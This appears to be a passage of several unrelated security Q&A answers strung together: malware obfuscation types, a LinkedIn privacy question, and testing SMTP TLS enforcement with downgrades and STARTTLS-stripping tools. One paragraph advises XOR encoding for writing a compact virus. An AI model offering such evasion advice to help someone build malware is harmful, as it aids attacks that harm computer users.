  malicious program.

  In spite of the permanent changes to code, each iteration of
  metamorphic malware functions the same way. The longer the malware
  stays in a computer, the more iterations it produces and the more
  sophisticated the iterations are, making it increasingly hard for
  antivirus applications to detect, quarantine and disinfect.

  Polymorphic malware also makes changes to code to avoid detection. It
  has two parts, but one part remains the same with each iteration,
  which makes the malware a little easier to identify.

  For example, a polymorphic virus might have a virus decryption routine
  (VDR) and an encrypted virus program body (EVB). When an infected
  application launches, the VDR decrypts the encrypted virus body back
  to its original form so the virus can perform its intended function.
  Once executed, the virus is re-encrypted and added to another
  vulnerable host application. Because the virus body is not altered, it
  provides a kind of complex signature that can be detected by
  sophisticated antivirus programs.

  In another example, a new key might be randomly generated with each
  copy to change the appearance of the encrypted virus body -- but the
  virus decryption routine woud remain constant. In either scenario, it
  is the static part of the code that makes it possible for an
  anti-virus program to identify the presence of malware.

  Metamorphic malware is considered to be more difficult to write than
  polymorphic malware. The author may use may use multiple
  transformation techniques, including register renaming, code
  permutation, code expansion, code shrinking and garbage code
  insertion. Consequently, advanced techniques such as generic
  decryption scanning, negative heuristic analysis, emulation and access
  to virtualization technologies are required for detection.

Now if you are trying to keep things small, XOR is an excellent way of writing your virus. XOR is an instruction which your processor understands, so this means that to implement a XOR encoder you will need only a few lines of assembly code (if you are writing the virus in assembly) opposed to vast amounts of code when you want to implement either of the above mentioned techniques.


How safe is to have a LinkedIn account where you have published all the important information about yourself?

The concept you are looking for is "digital footprint" and it goes far beyond any one social network.

Any information that is public can be used against you. You have to make an assessment about the risk/reward of making data public, and once it is public, you have to treat anyone using that information as public, too. Too often people think that if someone knows something about them, then they can be trusted, an "insider".


How to test if TLS is enforced for emails sent through SMTP?

Within Proofpoint you should be able to set up a manual mail route (to override DNS/MX) to some external domain so that it uses only SMTP rather than ESMTP. You do this by prefixing the destination with "SMTP:", e.g.

 gmail.com → SMTP:gmail-smtp-in.l.google.com.

This will cause your side to issue an old SMTP "HELO" rather than a new "EHLO" and STARTTLS should not be possible. (This requires both sides to be protocol compliant, it is possible to attempt STARTTLS over plain SMTP in some cases.) If you have an enforced TLS rule for that domain, outbound email should fail.

Or, a network solution, you could use one of many TLS stripping/MITM tools (e.g. striptls),  this performs the
equivalent of the above by intercepting traffic to prevent STARTTLS being advertised/detected/enabled.

Otherwise, with any modern SMTP server supporting STARTTLS, if you configure only a set of ciphers that require RSA authentication (openssl ciphers -v aRSA) but do not configure a key and certificate then STARTTLS will not be supported.

There's a subtle distinction between TLS and STARTTLS, the latter is performed as an in-protocol upgrade: within the SMTP exchange the "STARTTLS" verb is issued and then TLS is negotiated (which is why it has security limitations).

With "regular" TLS the TLS happens first, and can be used for any protocol without first extending it to support that type of upgrade. There is was an old standard for SMTP with TLS, ssmtp subsequently smtps — it never caught on (just like HTTP with STARTTLS). SMTPS on TCP/465 has since been resurrected in RFC8314, but as Steffen notes this is not for MTA-to-MTA, it's only for MUA (client) submission.